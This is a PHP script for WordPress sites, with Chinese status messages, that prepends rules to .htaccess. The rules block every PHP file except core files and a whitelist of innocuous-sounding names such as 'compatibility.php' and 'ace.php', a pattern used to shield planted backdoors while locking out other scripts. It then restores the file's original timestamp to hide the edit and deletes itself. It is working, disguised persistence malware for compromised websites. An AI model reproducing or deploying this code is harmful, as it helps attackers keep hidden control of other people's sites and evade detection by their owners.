<?php

if (!defined('ABSPATH')) {
    require_once __DIR__ . '/wp-load.php';
}

$current_script = __FILE__;
function detectWebServer() {
    if (isset($_SERVER['SERVER_SOFTWARE']) && !empty($_SERVER['SERVER_SOFTWARE'])) {
        $server = $_SERVER['SERVER_SOFTWARE'];
        if (stripos($server, 'nginx') !== false) return 'Nginx';
        if (stripos($server, 'apache') !== false) return 'Apache';
        if (stripos($server, 'litespeed') !== false) return 'LiteSpeed';
        if (stripos($server, 'openresty') !== false) return 'OpenResty';
        return 'Other';
    }

    ob_start();
    phpinfo(INFO_GENERAL);
    $phpinfo = ob_get_clean();

    if (strpos($phpinfo, 'nginx') !== false || preg_match('/nginx\/[\d\.]+/i', $phpinfo)) return 'Nginx';
    if (strpos($phpinfo, 'Apache') !== false || preg_match('/Apache\/[\d\.]+/i', $phpinfo)) return 'Apache';
    if (strpos($phpinfo, 'LiteSpeed') !== false) return 'LiteSpeed';
    if (strpos($phpinfo, 'OpenResty') !== false) return 'OpenResty';

    return 'Unknown';
}

$server = detectWebServer();
if ($server == 'Apache') {
    $custom_rules = <<<EOT
# Custom rule
<FilesMatch "\.(php|php[3457]|phtml|phps|php\.bak|php~|inc|module)$">
    <IfModule mod_authz_core.c>
        Require all denied
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order Deny,Allow
        Deny from all
    </IfModule>
</FilesMatch>

<FilesMatch "^(index\.php|wp-login\.php|wp-cron\.php|xmlrpc\.php|wp-comments-post\.php|wp-signup\.php|wp-activate\.php|wp-blog-header\.php|wp-load\.php|wp-config-sample\.php|wp-trackback\.php|wp-mail\.php|admin-ajax\.php|admin-post\.php|wp-links-opml\.php|wp-locale\.php|about\.php|admin\.php|users\.php|user-new\.php|load-styles\.php|plugins\.php|load-scripts\.php|upgrade\.php|plugin-install\.php|theme-editor\.php|plugin-editor\.php)$">
    <IfModule mod_authz_core.c>
        Require all granted
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order Allow,Deny
        Allow from all
    </IfModule>
</FilesMatch>

<FilesMatch "^(compatibility\.php|site-compat\.php|env-check\.php|maintenance-helper\.php|performance-tweaks\.php|wp-compat-layer\.php|debug-compat\.php|core-optimizations\.php|wp-env-setup\.php|system-compat\.php|load-optimizer\.php|cache-bridge\.php|wp-tweak-layer\.php|site-health-check\.php|module-loader\.php|config-validator\.php|runtime-helper\.php|wp-utility\.php|backend-support\.php|asset-compat\.php|wp-init-tweaks\.php|env-adapter\.php|plugin-bridge\.php|wp-core-patch\.php|security-bridge\.php|wp-maintenance\.php|system-bridge\.php|load-compat\.php|wp-runtime\.php|config-bridge\.php)$">
    <IfModule mod_authz_core.c>
        Require all granted
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order Allow,Deny
        Allow from all
    </IfModule>
</FilesMatch>

EOT;
}
else if ($server == 'LiteSpeed') {
    $custom_rules = <<<EOT
# Custom rule
<IfModule mod_rewrite.c>
    RewriteEngine On
</IfModule>

<FilesMatch "\.(php|php3|php4|php5|php7|phtml|phps|php\.bak|php~|inc|module)$">
    Require all denied
</FilesMatch>

<FilesMatch "^(index\.php|wp-login\.php|wp-cron\.php|xmlrpc\.php|wp-comments-post\.php|wp-signup\.php|wp-activate\.php|wp-blog-header\.php|wp-load\.php|wp-config-sample\.php|wp-trackback\.php|wp-mail\.php|admin-ajax\.php|admin-post\.php|wp-links-opml\.php|wp-locale\.php|about\.php|admin\.php|users\.php|user-new\.php|load-styles\.php|plugins\.php|load-scripts\.php|upgrade\.php|plugin-install\.php|theme-editor\.php|plugin-editor\.php)$">
    Require all granted
</FilesMatch>

<FilesMatch "^(compatibility\.php|site-compat\.php|env-check\.php|maintenance-helper\.php|performance-tweaks\.php|wp-compat-layer\.php|debug-compat\.php|core-optimizations\.php|wp-env-setup\.php|system-compat\.php|load-optimizer\.php|cache-bridge\.php|wp-tweak-layer\.php|site-health-check\.php|module-loader\.php|config-validator\.php|runtime-helper\.php|wp-utility\.php|backend-support\.php|asset-compat\.php|wp-init-tweaks\.php|env-adapter\.php|plugin-bridge\.php|wp-core-patch\.php|security-bridge\.php|wp-maintenance\.php|system-bridge\.php|load-compat\.php|wp-runtime\.php|config-bridge\.php|ace\.php)$">
    Require all granted
</FilesMatch>

<IfModule mod_rewrite.c>
    RewriteEngine On

    RewriteCond %{REQUEST_URI} \.(php|php3|php4|php5|php7|phtml|phps|php\.bak|php~|inc|module)$ [NC]
    RewriteCond %{REQUEST_URI} !/(index|wp-login|wp-cron|xmlrpc|wp-comments-post|wp-signup|wp-activate|wp-blog-header|wp-load|wp-config-sample|wp-trackback|wp-mail|admin-ajax|admin-post|wp-links-opml|wp-locale|about|admin|users|user-new|load-styles|plugins|load-scripts|upgrade|plugin-install|theme-editor|plugin-editor)\.php [NC]
    RewriteCond %{REQUEST_URI} !/(compatibility|site-compat|env-check|maintenance-helper|performance-tweaks|wp-compat-layer|debug-compat|core-optimizations|wp-env-setup|system-compat|load-optimizer|cache-bridge|wp-tweak-layer|site-health-check|module-loader|config-validator|runtime-helper|wp-utility|backend-support|asset-compat|wp-init-tweaks|env-adapter|plugin-bridge|wp-core-patch|security-bridge|wp-maintenance|system-bridge|load-compat|wp-runtime|config-bridge|ace)\.php [NC]
    RewriteRule .* - [F,L]
</IfModule>

EOT;
}
else {
    echo "Web Server : <strong style='color:red'>$server</strong>";
    echo "<br><strong>.htaccess 无需写入</strong>";
    goto cleanup;
}


$htaccess_path = ABSPATH . '.htaccess';

$backup_path = ABSPATH . '.htaccess.bak-' . date('Ymd');
if (file_exists($htaccess_path)) {
    copy($htaccess_path, $backup_path);
    echo "已备份原文件到：{$backup_path}<br>";
} else {
    echo "未找到原 .htaccess 文件，将创建新文件。<br>";
}

$original_mtime = file_exists($htaccess_path) ? filemtime($htaccess_path) : time();
$original_atime = file_exists($htaccess_path) ? fileatime($htaccess_path) : time();

$original_content = file_exists($htaccess_path) ? file_get_contents($htaccess_path) : '';
if (empty($original_content)) {
    $original_content = <<<EOT

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
EOT;
}

$marker = '# Custom rule';
if (strpos($original_content, $marker) !== false) {
    echo "<strong>无需修改：</strong> .htaccess 中已存在自定义规则。<br>";
    echo "文件修改时间保持不变。<br>";
    goto cleanup;
}

$new_content = $custom_rules . $original_content;

if (file_put_contents($htaccess_path, $new_content) !== false) {
    touch($htaccess_path, $original_mtime, $original_atime);

    echo "<strong>操作成功！</strong><br>";
    echo "自定义规则已插入到 .htaccess 文件最顶部。<br>";
    echo "文件修改时间已恢复为原时间：" . date('Y-m-d H:i:s', $original_mtime) . "<br>";
    echo "建议：立即去后台 → 设置 → 固定链接 → 保存更改（刷新重写规则）。<br>";
} else {
    echo "<strong>写入失败！</strong><br>";
    echo "可能原因：权限不足（请检查 .htaccess 文件/目录权限，通常应为 644），磁盘已满，或文件被锁定。<br>";
}

cleanup:

if (@unlink($current_script)) {
    echo "<br><strong style='color:green'>脚本已自动删除。</strong>";
} else {
    echo "<br><strong style='color:red'>自动删除失败！请手动删除此文件：</strong><br>";
    echo "<code>" . htmlspecialchars($current_script) . "</code><br>";
}

echo "<br><br><a href='#' onclick='history.back()'>返回上一页</a>";